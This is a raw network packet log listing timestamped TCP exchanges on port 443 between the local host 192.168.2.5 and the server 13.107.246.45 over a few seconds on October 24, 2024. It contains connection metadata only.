Oct 24, 2024 22:09:42.291817904 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.292309999 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.292319059 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.292942047 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.292968988 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.293559074 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.293587923 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.293736935 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.293878078 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.293891907 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.414340019 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.415222883 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.415249109 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.415832043 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.415838003 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.418721914 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.419193029 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.419205904 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.419795036 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.419800997 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.422353029 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.422455072 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.422549009 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.422693968 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.422743082 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.422774076 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.422791004 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.426476955 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.426507950 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.426650047 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.426850080 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.426860094 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.427288055 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.427460909 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.427530050 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.427741051 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.427759886 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.427773952 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.427781105 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.431792974 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.431850910 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.432037115 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.432194948 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.432229042 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.545452118 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.545731068 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.545790911 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.545828104 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.545840979 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.549273968 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.549318075 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.549503088 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.549788952 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.549804926 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.551584005 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.551738977 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.551799059 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.551834106 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.551850080 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.551858902 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.551863909 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.556586981 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.556669950 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.556771994 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.556910038 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.556936026 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.025170088 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.025717020 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.025731087 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.026123047 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.026127100 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.153398991 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.153553009 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.153651953 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.153779984 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.153794050 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.153805017 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.153810024 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.157145977 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.157181025 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.157262087 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.157490015 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.157501936 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.158444881 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.159111023 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.159145117 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.159528017 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.159533024 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.171541929 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.171984911 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.172066927 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.172370911 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.172389984 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.290786028 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.290968895 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.291176081 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.291682959 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.293648005 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.299166918 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.299195051 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.299213886 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.299221992 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.300183058 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.300224066 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.300669909 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.300678968 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.300987959 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.301008940 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.301544905 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.301552057 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.301767111 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.301958084 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.302018881 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.302047014 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.302067041 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.302082062 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.302088976 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.304474115 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.304507971 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.304775000 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.304872990 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.304888010 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.305042982 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.305073977 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.305130005 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.305305958 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.305320024 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.429008961 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.429229021 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.429428101 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.429481983 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.429507017 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.429527044 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.429534912 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.432492971 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.432548046 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.432660103 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.432883024 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.432904959 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.467210054 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.467323065 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.467396975 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.467670918 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.467694044 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.467706919 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.467715025 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.470397949 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.470438957 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:43.470808029 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.471012115 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:43.471020937 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.035135031 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.035747051 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.035763025 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.038273096 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.038279057 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.041187048 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.043085098 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.043135881 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.043484926 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.043495893 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.044035912 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.044467926 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.044485092 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.044996977 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.045001984 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.165551901 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.165855885 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.165961027 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.166049957 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.166066885 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.166080952 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.166088104 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.169531107 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.169589043 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.169677019 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.169864893 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.169883013 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.172018051 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.172102928 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.172182083 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.172285080 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.172313929 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.172342062 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.172349930 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.173027039 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.174544096 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.174561977 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.175189972 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.175195932 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.176428080 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.176465034 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.176799059 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.176985025 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.177016020 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.177026033 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.177511930 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.177596092 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.177618980 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.177634001 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.177644014 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.177649021 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.179704905 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.179729939 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.179810047 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.179996014 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.180023909 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.217226982 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.217709064 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.217725039 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.218580008 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.218585014 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.351191998 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.351453066 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.351599932 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.351599932 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.351785898 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.351799965 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.354523897 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.354612112 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.354769945 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.354954004 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.354988098 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.893316031 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.893946886 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.893985033 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.894392014 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.894397020 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.917422056 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.918394089 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.918395042 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.918404102 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.918417931 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.924386978 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.925143957 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.925164938 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:44.925298929 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:44.925304890 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.023132086 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.023293018 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.023519993 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.023519993 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.023566961 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.023582935 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.026376963 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.026432991 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.026595116 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.026823044 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.026844025 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.047806025 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.049134016 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.049228907 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.049283028 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.049283028 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.049292088 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.049299955 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.052431107 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.052484989 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.052660942 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.052917004 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.052942038 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.056015968 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.056233883 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.056386948 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.056386948 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.056410074 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.056421995 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.058819056 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.058872938 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.059015989 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.059214115 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.059228897 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.088624954 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.089771032 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.089771032 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.089792013 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.089827061 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.220704079 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.221205950 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.221364975 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.221429110 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.221429110 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.221442938 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.221456051 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.224631071 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.224663973 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.224816084 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.225138903 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.225152969 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.776313066 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.776776075 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.776799917 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.777195930 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.777201891 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.789351940 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.789856911 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.789876938 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.790254116 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.790258884 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.792506933 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.793169022 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.793189049 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.793519974 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.793526888 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.904342890 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.905155897 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.905220032 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.905267000 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.905267000 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.905292034 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.905304909 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.907877922 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.907943010 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.908063889 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.908494949 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.908514977 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.922419071 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.922475100 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.922543049 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.922564983 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.922777891 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.922785997 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.922811985 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.922825098 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.924568892 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.924650908 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.924784899 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.924815893 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.924824953 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.924838066 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.924845934 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.925299883 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.925359011 CEST	443	49825	13.107.246.45	192.168.2.5
